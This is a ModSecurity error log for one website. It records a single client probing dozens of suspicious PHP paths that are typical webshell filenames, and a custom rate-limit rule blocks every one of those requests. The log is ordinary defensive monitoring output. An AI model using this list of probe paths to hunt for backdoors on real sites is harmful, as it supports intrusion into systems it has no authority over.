[Sun Mar 29 18:57:16.383592 2026] [:error] [pid 32255:tid 32302] [client 51.103.28.129:45184] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "ackFjGnfn-AtRoMbquyqkAAAAEs"]
[Sun Mar 29 18:57:17.478066 2026] [:error] [pid 23284:tid 23300] [client 51.103.28.129:3493] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "ackFjYzBujdPHsq7wyQxFwAAAo4"]
[Sun Mar 29 18:57:18.588894 2026] [:error] [pid 32255:tid 32301] [client 51.103.28.129:31866] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "ackFjmnfn-AtRoMbquyqkwAAAEo"]
[Sun Mar 29 18:57:19.296556 2026] [:error] [pid 23168:tid 23211] [client 51.103.28.129:3460] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "ackFj2P8p0yRL8ot_29pkQAAAg4"]
[Sun Mar 29 18:57:20.527469 2026] [:error] [pid 8818:tid 8843] [client 51.103.28.129:43019] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "ackFkCCDvotZNSF0FBq9wAAAAVU"]
[Sun Mar 29 18:57:21.210100 2026] [:error] [pid 32257:tid 32324] [client 51.103.28.129:48962] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "ackFkSE3TArOFrUtgWrZZwAAAIY"]
[Sun Mar 29 18:57:22.670614 2026] [:error] [pid 32255:tid 32314] [client 51.103.28.129:23166] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "ackFkmnfn-AtRoMbquyqoAAAAFc"]
[Sun Mar 29 18:57:23.620824 2026] [:error] [pid 23284:tid 23301] [client 51.103.28.129:31846] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "ackFk4zBujdPHsq7wyQxIAAAAo8"]
[Sun Mar 29 18:57:24.452742 2026] [:error] [pid 32255:tid 32297] [client 51.103.28.129:25305] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "ackFlGnfn-AtRoMbquyqpgAAAEY"]
[Sun Mar 29 18:57:25.332230 2026] [:error] [pid 32255:tid 32307] [client 51.103.28.129:31821] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "ackFlWnfn-AtRoMbquyqrQAAAFA"]
[Sun Mar 29 18:57:26.411894 2026] [:error] [pid 32255:tid 32291] [client 51.103.28.129:36182] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "ackFlmnfn-AtRoMbquyqvQAAAEA"]
[Sun Mar 29 18:57:27.359639 2026] [:error] [pid 32255:tid 32301] [client 51.103.28.129:43028] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "ackFl2nfn-AtRoMbquyqxAAAAEo"]
[Sun Mar 29 18:57:28.288534 2026] [:error] [pid 32255:tid 32291] [client 51.103.28.129:49087] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "ackFmGnfn-AtRoMbquyqyQAAAEA"]
[Sun Mar 29 18:57:29.411542 2026] [:error] [pid 23167:tid 23181] [client 51.103.28.129:43065] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ackFmRIAHJCFaHff3_eYmQAAAcs"]
[Sun Mar 29 18:57:30.362200 2026] [:error] [pid 23168:tid 23207] [client 51.103.28.129:27299] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ackFmmP8p0yRL8ot_29pmAAAAgo"]
[Sun Mar 29 18:57:31.188398 2026] [:error] [pid 23284:tid 23303] [client 51.103.28.129:3462] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ackFm4zBujdPHsq7wyQxKgAAApE"]
[Sun Mar 29 18:57:32.189548 2026] [:error] [pid 32255:tid 32312] [client 51.103.28.129:43017] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ackFnGnfn-AtRoMbquyq0QAAAFU"]
[Sun Mar 29 18:57:33.146840 2026] [:error] [pid 23250:tid 23268] [client 51.103.28.129:43067] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lopst.php"] [unique_id "ackFnZxrpj-dQjy1cvrojAAAAlA"]
[Sun Mar 29 18:57:33.993136 2026] [:error] [pid 23168:tid 23198] [client 51.103.28.129:22321] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lopst.php"] [unique_id "ackFnWP8p0yRL8ot_29pngAAAgE"]
[Sun Mar 29 18:57:35.241850 2026] [:error] [pid 23137:tid 23162] [client 51.103.28.129:31850] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lopst.php"] [unique_id "ackFnxaWQa7LdZ_qGFbi1gAAAZc"]
[Sun Mar 29 18:57:35.955913 2026] [:error] [pid 8818:tid 8844] [client 51.103.28.129:35794] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lopst.php"] [unique_id "ackFnyCDvotZNSF0FBq9zQAAAVY"]
[Sun Mar 29 18:57:36.694656 2026] [:error] [pid 32257:tid 32340] [client 51.103.28.129:45241] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wft.php"] [unique_id "ackFoCE3TArOFrUtgWrZiAAAAJY"]
[Sun Mar 29 18:57:38.880913 2026] [:error] [pid 32255:tid 32298] [client 51.103.28.129:28587] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wft.php"] [unique_id "ackFomnfn-AtRoMbquyq2QAAAEc"]
[Sun Mar 29 18:57:40.048757 2026] [:error] [pid 23284:tid 23295] [client 51.103.28.129:25297] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wft.php"] [unique_id "ackFpIzBujdPHsq7wyQxMgAAAok"]
[Sun Mar 29 18:57:40.861887 2026] [:error] [pid 32257:tid 32331] [client 51.103.28.129:34299] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wft.php"] [unique_id "ackFpCE3TArOFrUtgWrZngAAAI0"]
[Sun Mar 29 18:57:41.441009 2026] [:error] [pid 32257:tid 32319] [client 51.103.28.129:35801] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ackFpSE3TArOFrUtgWrZoQAAAIE"]
[Sun Mar 29 18:57:42.733084 2026] [:error] [pid 23168:tid 23204] [client 51.103.28.129:31829] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ackFpmP8p0yRL8ot_29pqgAAAgc"]
[Sun Mar 29 18:57:43.806907 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:28600] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ackFpyE3TArOFrUtgWrZtQAAAJc"]
[Sun Mar 29 18:57:44.680839 2026] [:error] [pid 8818:tid 8830] [client 51.103.28.129:27316] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ackFqCCDvotZNSF0FBq91QAAAUg"]
[Sun Mar 29 18:57:45.770418 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:36173] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "ackFqSE3TArOFrUtgWrZ0AAAAIw"]
[Sun Mar 29 18:57:46.591847 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:39455] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "ackFqiE3TArOFrUtgWrZ3wAAAII"]
[Sun Mar 29 18:57:48.506547 2026] [:error] [pid 23168:tid 23212] [client 51.103.28.129:3443] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "ackFrGP8p0yRL8ot_29psAAAAg8"]
[Sun Mar 29 18:57:49.510121 2026] [:error] [pid 23284:tid 23308] [client 51.103.28.129:39431] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "ackFrYzBujdPHsq7wyQxRQAAApY"]
[Sun Mar 29 18:57:50.892536 2026] [:error] [pid 32257:tid 32329] [client 51.103.28.129:23534] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "ackFriE3TArOFrUtgWraAwAAAIs"]
[Sun Mar 29 18:57:51.828749 2026] [:error] [pid 23250:tid 23271] [client 51.103.28.129:27273] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "ackFr5xrpj-dQjy1cvrojwAAAlM"]
[Sun Mar 29 18:57:53.072425 2026] [:error] [pid 23168:tid 23202] [client 51.103.28.129:35806] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "ackFsWP8p0yRL8ot_29puQAAAgU"]
[Sun Mar 29 18:57:54.016340 2026] [:error] [pid 32255:tid 32298] [client 51.103.28.129:27318] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "ackFsmnfn-AtRoMbquyq6QAAAEc"]
[Sun Mar 29 18:57:54.906603 2026] [:error] [pid 23167:tid 23178] [client 51.103.28.129:22331] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "ackFshIAHJCFaHff3_eYpwAAAcg"]
[Sun Mar 29 18:57:55.724086 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:16904] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "ackFsyE3TArOFrUtgWraIgAAAIc"]
[Sun Mar 29 18:57:56.533511 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:39449] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "ackFtCE3TArOFrUtgWraLQAAAJc"]
[Sun Mar 29 18:57:57.202587 2026] [:error] [pid 32257:tid 32332] [client 51.103.28.129:56656] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "ackFtSE3TArOFrUtgWraNAAAAI4"]
[Sun Mar 29 18:57:57.984195 2026] [:error] [pid 32257:tid 32339] [client 51.103.28.129:3424] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "ackFtSE3TArOFrUtgWraPAAAAJU"]
[Sun Mar 29 18:57:58.763601 2026] [:error] [pid 23168:tid 23215] [client 51.103.28.129:16952] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "ackFtmP8p0yRL8ot_29pwAAAAhI"]
[Sun Mar 29 18:59:16.473710 2026] [:error] [pid 32257:tid 32321] [client 51.103.28.129:40960] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "ackGBCE3TArOFrUtgWrb6AAAAIM"]
[Sun Mar 29 18:59:17.871513 2026] [:error] [pid 23250:tid 23253] [client 51.103.28.129:55182] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "ackGBZxrpj-dQjy1cvrotwAAAkE"]
[Sun Mar 29 18:59:19.783327 2026] [:error] [pid 32257:tid 32340] [client 51.103.28.129:33308] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "ackGByE3TArOFrUtgWrb-QAAAJY"]
[Sun Mar 29 18:59:20.432288 2026] [:error] [pid 32255:tid 32306] [client 51.103.28.129:59966] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "ackGCGnfn-AtRoMbquyriQAAAE8"]
[Sun Mar 29 18:59:21.122470 2026] [:error] [pid 23167:tid 23176] [client 51.103.28.129:51025] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "ackGCRIAHJCFaHff3_eZAQAAAcY"]
[Sun Mar 29 18:59:22.284089 2026] [:error] [pid 23167:tid 23194] [client 51.103.28.129:51035] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "ackGChIAHJCFaHff3_eZBgAAAdg"]
[Sun Mar 29 18:59:23.272655 2026] [:error] [pid 23284:tid 23300] [client 51.103.28.129:55640] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "ackGC4zBujdPHsq7wyQyMwAAAo4"]
[Sun Mar 29 18:59:23.892011 2026] [:error] [pid 32257:tid 32322] [client 51.103.28.129:23837] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "ackGCyE3TArOFrUtgWrb_QAAAIQ"]
[Sun Mar 29 18:59:24.844298 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:51040] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "ackGDCE3TArOFrUtgWrcBAAAAIA"]
[Sun Mar 29 18:59:25.846980 2026] [:error] [pid 32255:tid 32310] [client 51.103.28.129:58039] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "ackGDWnfn-AtRoMbquyrnAAAAFM"]
[Sun Mar 29 18:59:26.571677 2026] [:error] [pid 23284:tid 23304] [client 51.103.28.129:58023] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "ackGDozBujdPHsq7wyQyPwAAApI"]
[Sun Mar 29 18:59:27.334122 2026] [:error] [pid 32255:tid 32297] [client 51.103.28.129:23812] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "ackGD2nfn-AtRoMbquyrnwAAAEY"]
[Sun Mar 29 18:59:28.307424 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:23890] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "ackGEIzBujdPHsq7wyQyRQAAAoI"]
[Sun Mar 29 18:59:29.562252 2026] [:error] [pid 23284:tid 23299] [client 51.103.28.129:55228] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "ackGEYzBujdPHsq7wyQySwAAAo0"]
